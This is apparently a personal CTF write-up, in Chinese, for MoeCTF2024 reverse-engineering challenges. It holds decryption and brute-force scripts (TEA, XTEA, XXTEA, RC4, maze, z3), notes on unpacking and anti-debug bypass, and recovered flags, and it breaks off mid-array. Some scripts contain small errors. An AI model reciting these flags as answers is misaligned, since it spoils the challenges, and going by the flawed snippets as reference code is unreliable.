MoeCTF2024部分Re与Pwn

Re

入门指北

xor

upx

dynamic

第一个函数就是加密函数

xxtea

在最后result下断点,然后去看a1数组

upx_revenge

修改特征码vmp为UPX

xtea

这题由于密文只有三组,中间一组会经过两次解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 855655493, sum = delta * (-32);
for (i=0; i < 32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);

}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t k[4] = {2,0,2,4};
//uint32_t enc[] = {0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62};
uint32_t enc[] = {0x269669a3, 0x3d0b78bd, 0x6228a59d};
for(int i=1; i>=0; i-=1){
decrypt(&enc[i], k);
}
for (int i = 0; i < 8; i++) {
for (int m = 0; m <= 3; m++) {
printf("%c", (enc[i] >> (8 * m)) & 0xff);
}
}

return 0;
}

//moectf2024!!

d0tN3t

dnspy打开找到main

有部分不可见字符记得这样处理

rc4

两位一组是密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def rc4(data, key):
S = list(range(256))
j = 0
out = []

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])

return bytes(out)


data = bytes([167, 26, 104, 236, 216, 39, 17, 204, 140, 155, 22, 21, 92, 210, 103, 62, 130, 173, 206, 117, 212, 188, 87, 86, 194, 138, 82, 184, 107, 214, 204, 248, 164, 186, 114, 47, 224, 87, 21, 185, 36, 17])
key = b'RC4_1s_4w3s0m3'
decrypted = rc4(data, key)
print(decrypted)

xxtea

前三个key题目提示了

明显的xxtea无魔改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) {
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1) {
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main() {
uint32_t v[9] = {0x78e1f564,0xa835f0e1,0x512ff34,0xb0e913fb,0x89b9a350,0xc943dab1,0x1dbc84f,0xaf16db20,0x961767ed};
uint32_t const k[4] = {0x63656f6d,0x30326674,0x21213432,0xCCFFBBBB};
int n = 9;
btea(v, -n, k);
for (int i = 0; i < 9; i ++) {
printf("%c", v[i] & 0xff);
printf("%c", v[i] >> 8 & 0xff);
printf("%c", v[i] >> 16 & 0xff);
printf("%c", v[i] >> 24 & 0xff);
}
printf("\n");


return 0;
}

tea

输入不明确但是可以猜测

1
moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

进阶指北

先用python求出乘法逆元,注意+优先级要高于^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
int main(){
unsigned int a[]={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};
for(int i=0;i<11;i++){
a[i]=(((a[i]^ (0xd3906+0xdeadbeef))- 0xdeadc0de))*0x8d61d173;
}
for (int i=0;i<11;i++){
for(int j=0;j<4;j++){
printf("%c",(a[i]>>(8*j))&0xff);
}

}
return 0;
}

或者用爆破的方式,c爆破速度明显比python快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
int main(){
unsigned int a[]={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};
int c[11];
for(int i=0;i<11;i++){
for (m=0x20202020;m<=0x7d7d7d7d;m++){
int b=(m* 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;

if(b==a[i]){
//printf("%x,",(m* 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906);
//printf("%x,",m);
c[i]=m;
break;
}
}
}
for (int i=0;i<11;i++){
for(int j=0;j<4;j++){
printf("%c",(c[i]>>(8*j))&0xff);
}

}
return 0;
}
//moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

moedaily

这题比较创新,用excel实现了tea,注意64次循环,且32次之后sum要重置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 114514, sum = delta * 32;
for (i=0; i < 32; i++) {
v1-=((v0<<4)+415144)^(((v0>>5)+19883)^(v0+sum));
v0-=((v1<<4)+114514)^(((v1>>5)+1919810)^(v1+sum));
sum-=114514;
}
sum = delta * 32;
for (i=0; i < 32; i++) {
v1-=((v0<<4)+415144)^(((v0>>5)+19883)^(v0+sum));
v0-=((v1<<4)+114514)^(((v1>>5)+1919810)^(v1+sum));
sum-=114514;
}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t const k[4] = {0x5377654E,0x21726174,0x5377654E,0x21726174};
uint32_t enc[] = {1397140385,2386659843,962571399,3942687964,3691974192,863943258,216887638,3212824238,3802077983,1839161422,1288683919,3222915626};
for(int i=0; i<12; i+=2){
decrypt(&enc[i], k);
}
for (int i = 0; i < 12; i++) {
for (int m = 0; m <= 3; m++) {
printf("%c", (enc[i] >> (8 * m)) & 0xff);
}
}
return 0;
}

//sum=0
//IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你,拿到了真的FLAG","FLAG输入错了,再试试"),"flag长度不对")
//sum+=114514
//v0+=((v1<<4+114514)^((v1>>5+1919810)^(v1+sum)))&0xffffffff
//v1+=((v0<<4+415144)^((v0>>5+19883)^(v0+sum)))&0xffffffff

moejvav

给的命令是运行用的

vm题,但是可以自己模拟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#(input^202)+32
#^60-20
a=[-25,-27,-33,-31,-50,-36,-39,-24,-52,-29,-52]
#^14+5
b=[-64,-58,-63,-52,-90,-39,-43,26,25,-49,-64]
#^10+5
c=[-51,25,-45,-55,-47,24,-41,-60,22,-40,-60]
#+24
d=[-15,50,-51,-31,50,50,-35,50,-35,51,-17]
print(len(a))
print(len(b))
print(len(c))
print(len(d))
flag=''
for i in range(11):
flag+=chr((((((a[i]+20)^60)-32)^202)+256)%256)
for i in range(11):
flag+=chr((((((b[i]-5)^14)-32)^202)+256)%256)
for i in range(11):
flag+=chr((((((c[i]-5)^10)-32)^202)+256)%256)
for i in range(11):
flag+=chr(((((d[i]-24)-32)^202)+256)%256)
print(flag)

sm4

直接在线解密不对,估计还需要iv

可能算法有魔改,测试过加密函数和解密函数刚好对称,那就把解密函数的encode_Result改为enc

调试发现解密之后和直接解密结果一样

输入长度为48位的时候正常输出flag

这题不同之处在于直接给了加解密函数,也可以到解密函数把加密后的数据改成密文

ez_MAZE

类似迷宫题,多了一个校验函数,会把反复的跳动排除

因为逆向题目的路径大多唯一且不需要考虑回溯,直接爆破即可,这里爆破的时候发现爆不到指定长度且不同顺序对于爆破长度有影响,那就回溯几步换一个爆破顺序,这里需要尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#include<stdio.h>
#include<stdlib.h>
unsigned int a[]={0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xBF, 0xFF, 0xEA, 0xA8, 0xA4, 0x92, 0x4F, 0xFF, 0xFF, 0xFF,
0x80, 0x00, 0x3D, 0x14, 0x94, 0x92, 0xB8, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xBB, 0xDA, 0x1F, 0x29, 0x7B, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xFB, 0xDA, 0xDD, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xB8, 0x42, 0x1F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xF8, 0x7C, 0x3D, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xFD, 0xBC, 0x00, 0x03, 0x00, 0x3E, 0x1F,
0xFF, 0xFF, 0xB8, 0x7C, 0x7F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0xBF, 0x7D, 0xBD, 0x29, 0x7B, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0x98, 0x7C, 0x3F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0x80, 0x00, 0x4F, 0xFF, 0xF8, 0x00, 0x02, 0x00, 0x3E, 0xDF,
0xBF, 0x7F, 0x6F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFE, 0xDF,
0x96, 0xAB, 0x60, 0x00, 0x08, 0x00, 0x02, 0x01, 0xFE, 0xDF,
0x96, 0xAB, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFE, 0xDF,
0x95, 0x4B, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFE, 0xDF,
0x95, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAA, 0x96, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x92, 0x57, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xF6, 0xDF,
0x92, 0x94, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x8A, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAE, 0xD5, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x0E, 0xDF,
0x95, 0x4A, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xEE, 0xDF,
0x8A, 0x4A, 0x4A, 0x50, 0xEC, 0x00, 0x03, 0xFF, 0xEE, 0xDF,
0xBF, 0x7F, 0x7F, 0xFF, 0xE1, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0xFF, 0xFF, 0xF5, 0x5D, 0x7F, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0x80, 0x00, 0x38, 0xD5, 0x35, 0x2A, 0x98, 0x00, 0x0E, 0xDF,
0xBF, 0xFF, 0xBD, 0x51, 0x2F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xC0, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xDF, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xBC, 0x8B, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA9, 0x24, 0x9F, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0x5F,
0xB2, 0xA1, 0xCF, 0xDF, 0x78, 0x00, 0x02, 0x00, 0x03, 0x5F,
0xB1, 0x52, 0xEF, 0xDF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFB, 0x5F,
0xAA, 0x22, 0xE0, 0x00, 0x08, 0x00, 0x02, 0x01, 0xF8, 0x5F,
0xBD, 0x29, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFF, 0xDF,
0xB2, 0x52, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFF, 0xDF,
0xB4, 0x94, 0xB7, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x4A, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x5F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xB2, 0x54, 0xD0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x57, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x91, 0x30, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0xDF,
0xB0, 0x89, 0x7F, 0xFF, 0xFF, 0xFF, 0xF8, 0x7F, 0xFE, 0xDF,
0xBC, 0x91, 0x10, 0xFF, 0xE0, 0x00, 0x03, 0xFF, 0xFE, 0xDF,
0x80, 0x00, 0x00, 0x00, 0x0D, 0xFF, 0xFE, 0x94, 0x8A, 0x5F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
int sub_7FF78A1D1190(int a1, int a2)
{
unsigned __int8 v3; // [rsp+0h] [rbp-28h]
if ( a1 > 80 || a2 > 56 || a1 < 1 || a2 < 1 ){
return 1;
}
v3 = a[10 * a2 - 10 + (a1 - 1) / 8];
a[10 * a2 - 10 + (a1 - 1) / 8] = (1 << (7 - (a1 - 1) % 8)) | v3;
return ((int)v3 >> (7 - (a1 - 1) % 8)) & 1;
}
int main(){
int v4=2;
int v5=2;
char out[1200]={'0'};
int k=0;
int i=0;
int pan=0;
char v7[4]={'a','d','s','w'};
while(k<1176){
if(k==950){
v7[0]='a';
v7[1]='w';
v7[2]='d';
v7[3]='s';
}
for(int i=0;i<4;i++){
switch ( v7[i] ){
case 'a':
if ( v5 <= 1 || (unsigned int)sub_7FF78A1D1190((v5 - 1), v4)){}
else{
--v5;
out[k++]=v7[i];
pan=1;
}
break;
case 'd':
if ( v5 >= 80 || (unsigned int)sub_7FF78A1D1190((v5 + 1), v4) ){}
else{
++v5;
out[k++]=v7[i];
pan=1;
}
break;
case 's':
if ( v4 >= 56 || (unsigned int)sub_7FF78A1D1190(v5, (v4 + 1)) ){}
else{
++v4;
out[k++]=v7[i];
pan=1;
}
break;
case 'w':
if ( v4 <= 1 || (unsigned int)sub_7FF78A1D1190(v5, (v4 - 1)) ){}
else{
--v4;
out[k++]=v7[i];
pan=1;
}
break;
default:
break;
}
if(pan==1){
printf("%d ",k);
//printf("%c",v7[i]);
pan=0;
break;
}

}

}
if ( v5 == 75 && v4 == 55 ){
printf("success!");
printf("%s",out);
}
char s[]="sddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdsdssddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdddwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwddddddddddddddddwwwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwddddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddssssaaaaaaaaaassdddddddssaaaaaassddddddddddddssaaaaaaaaaaaassdddddddddddsssssaaaaaaaaaaaaaassaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssssaaaaaaaaaaaaaaaassddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassaaaaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwawawwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaaaasssssssssssssssssssssssssddddddddddddddddddddddddddddddddddwddddddddddddddddddwdddwwwdddddddddddddddwwaaaaaaaaaaaaaaawwddddddwwaaaaaaawwddddddddddddddssdddwwwawwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwwwwwwwwwwwwwwwwwwwwdddssssssssssssssssssssssssssssssssssssssssssss";
long long v3=0;
for(int i=0;i<1176;i++)
v3 += i * 3113131 *(int)(s[i]) + i * i + 1131796;
printf("%llu",v3);
return 0;
}

Just_Run_It

0x0和0x1都是脱壳后解码

模拟器运行不了,开启事件无法调试

要么根据签名v2直接找工具绕,要么找到密文直接base64解密,要么找检验函数修改后重新打包(最后一种比较难,出题者肯定不希望我们这样做)

META-INF是签名之后的文件,DebugProbestKt.bin用于后续调试

后面qetx找到Play My Application (appetize.io)

可以模拟多个环境

bW9lY3RmezU5ZmE2MDJjLTYyNGEtNDBiNy04YTVjLWUzNWU1NzRjZjliOX0=

SMCProMax

moectf{1111111111111111111111111111111111111111}

moectf{y0u_mu5t_know_vvHAt_1s__SMC__n0w}

直接爆破出来发现不对去调试,发现在下面会跳出

一开始有个地方异或了,没执行到,但是最后的密文还是要异或一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>


int main() {
int a[]={0x7A5FB55E,-490481854,-1704322843,-1418679088,0x52C815D,0x28D70A82,0x398E5EAA,0xFC4A5AF,-1342106783,0xCECDD9C3};
int m=0xC4F3B4B3;
for(int i=0;i<10;i++){
for(int j=0x20202020;j<=0x7d7d7d7d;j++){
int t=j;
for(int k=0;k<32;k++){
if (t>=0){
t=t*2;
}
else{
t=t*2;
t^=m;
}
}
if(t==a[i]){
for(int n=0;n<32;n+=8){
printf("%c",(j>>n)&0xff);
}
break;
}

}


}

return 0;
}
moectf{y0u_mu5t_know_vvZAt_1s__SMC__n0w}

xor_rev

1
2
3
4
5
6
7
8
9
10
11
s=[0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63,
0x74, 0x66, 0x32, 0x30, 0x32, 0x34]
enc=[0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C,
0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 0x04, 0x04, 0x0B, 0x33,
0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04,
0x5B, 0x5A]
for i in range(32):
enc[i]^=s[i%16]
print(chr(enc[i]),end="")

#This_1s_a_f4k3_flag_plzTry_ag4in

调试的时候发现后面还有tea

解tea的时候记得打印%02x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdint.h>

int main() {
uint32_t v[2] = {1, 2};
uint32_t delta = 0x61C88647;
uint32_t v0 = v[0], v1 = v[1], sum = (-32)*delta, i; /* set up */
uint32_t v5[10] = {0x5e87ff17,0x9a831a78,0x56c8707a,0xc52f51,0x8bc7393,0xc7c31e09,0xb1efa477,0xddcf1d26};
unsigned int k[4] = {0x6C6C6568, 0x6F6D5F6F, 0x66746365, 0x34323032}, l = 0, r = 0;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
for (int m = 0; m < 8; m += 2) {//flag不全的话有可能是10
sum = (-32)*delta;
for (i = 0; i < 32; i++) { /* basic cycle start */
v5[m + 1] -= ((v5[m] << 4) + k2) ^ (v5[m] + sum) ^ ((v5[m] >> 5) + k3);
v5[m] -= ((v5[m + 1] << 4) + k0) ^ (v5[m + 1] + sum) ^ ((v5[m + 1] >> 5) + k1);
sum += delta;
} /* end cycle */
}

for (int i = 0; i < 8; i++) {
for (int m = 0; m <= 3; m++) {
printf("%02x", (v5[i] >> (8 * m)) & 0xff);
}
}

return 0;
}
a=[0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63,
0x74, 0x66, 0x32, 0x30, 0x32, 0x34]
enc=[0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C,
0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 0x04, 0x04, 0x0B, 0x33,
0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04,
0x5B, 0x5A]
a1=[0x2B, 0xF2, 0x82, 0x41, 0x48, 0x74, 0x9D, 0xAA, 0x7E, 0x4C,
0xDA, 0x04, 0x08, 0x2C, 0xA8, 0x52, 0x97, 0x77, 0xB7, 0x3B,
0x16, 0x2D, 0xD4, 0xFC, 0x60, 0xBE, 0xC4, 0xB6, 0x73, 0x19,
0x94, 0x87]
for i in range(32):
enc[i]^=a1[i]
#print(hex(enc[i]),end=",")
a2=[0x17,0xff,0x87,0x5e,0x78,0x1a,0x83,0x9a,0x7a,0x70,0xc8,0x56,0x51,0x2f,0xc5,0x0,0x93,0x73,0xbc,0x8,0x9,0x1e,0xc3,0xc7,0x77,0xa4,0xef,0xb1,0x26,0x1d,0xcf,0xdd]

def byte2uint32(d):
l = []
for i in range(len(d) // 4):
tmp = d[i * 4:i * 4 + 4]
l.append(tmp[3] * 256 ** 3 + tmp[2] * 256 ** 2 + tmp[1] * 256 + tmp[0])
return l

# enc_uint32 = byte2uint32(a2)
# print("\n")
# for i in range(len(enc_uint32)):
# print(hex(enc_uint32[i]),end=",")

s1="050a090f1b3916070a142b075c6f57551b1c33061a310630040d103946555349"
# print(len(s1))
for i in range(32):
#print(int(s1[2*i:2*(i+1)],16))
#print((((int(s1[2*i:2*(i+1)],16)^a[i%16])+256)%256),end=",")
print(chr((((int(s1[2 * i:2 * (i + 1)], 16) ^ a[i % 16]) + 256) % 256)), end="")

Secret_Module

sh文件base64+解压缩得到php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}

choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}

if testk; then
ui_print "Great! Now enter the secret."

else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi

Cython_Strike

得到whl,看格式是zip,解压得到pyd

有一些打印出来的描述和很像flag的字符串,但不知道如何加密了

先用python3.12导入,help之后看方法,mask刚好是运行获得的

需要知道输入的密码,两个方程算出来的input不一样,都去试一下发现第二个是对的

后面发现==优先级高于^,也就是说第一个方程没用,同时真正的flag和上面的字符串长度一样,但不知道如何代换的

发现和ida显示的一摸一样

babe_z3

通过推理可得,v4最后要不等于0,而23行强制类型转化之后也要不等于0,那么v4|=0x100000000之后要为0x100000000,也就是说一开始v4为0,即第一个表达式没用

这里v6,v7,v8其实都是s的一部分,也就是说都要打印

最后得到的字符串都要逆序因为按小端序存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from libnum import n2s
from z3 import *
from Crypto.Util.number import *

# 定义变量
s = BitVec('s', 64)
v6 = BitVec('v6', 64)
v7 = BitVec('v7', 64)
v8 = BitVec('v8', 64)
v4 = BitVec('v4', 64)
solver = Solver()

solver.add((v7 & s & v8 | (~(v6 | s) | v6 & v7) & v6 & s) == 0x2024243035302131)
solver.add((v6 ^ (v7 & (s + v7) | v8 & ~(v7 & s) | v6 & (v6 + v8) & ~s)) == 0x7071001344417B54)
solver.add(((v7 - v8) ^ (s - v6)) == 0x3FE01013130FFD3)
solver.add((s + v7 - v8 + v6) * (v8 + s + v6 - v7) == 0x1989A41A9049C5C9)
solver.add((v7 + v6 + s + v8) % 0x1BF52 == 21761)
solver.add(v8 * v7 * v6 * s % 0x1D4B42 == 827118)

if solver.check() == sat:
model = solver.model()
print(model[s].as_long(),end=" ")
print(model[s].as_long(), end=" ")
print(model[s].as_long(), end=" ")
print(model[s].as_long(), end=" ")
print(n2s(model[s].as_long()),end="")
print(n2s(model[v6].as_long()), end="")
print(n2s(model[v7].as_long()), end="")
print(n2s(model[v8].as_long()))

s='cd5250c9dbc4fdab1760517947e35495'
a=''
s1=''
for i in range(0,32,8):
a=s[i:i+8]
a=a[::-1]
s1+=a
#print(s1)

BlackHole-2

dll有vmp壳

moeprotector

静态分析到这里,发现比较复杂,需要结合动调

输入0能触发第一次异常

输入长度符合触发第二次异常

1
moectf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}

到这里有反调试,需要用ScyllaHide插件反反调试

Release v1.4 · x64dbg/ScyllaHide (github.com)

动态调试发现8个密文一组

对最后一位进行处理,总共三次循环,基本逻辑差不多

正常分析大概是这样,但是逆不明白

有个思路是57位明文,8个一组,那么最后一位多余了,但是一般的算法要么直接是8的整数倍,要么填充到8的整数倍,这里没有,猜测是不是所有位处理方式都是一样的,都按最后一位的加密逻辑来,尝试一下发现真的是这样,所以前面的加密可能是在混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
a=[  0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D,
0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2, 0x51, 0xAB, 0xB3, 0x4C,
0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82,
0x8B, 0x8E, 0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91,
0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9, 0x41, 0x4E,
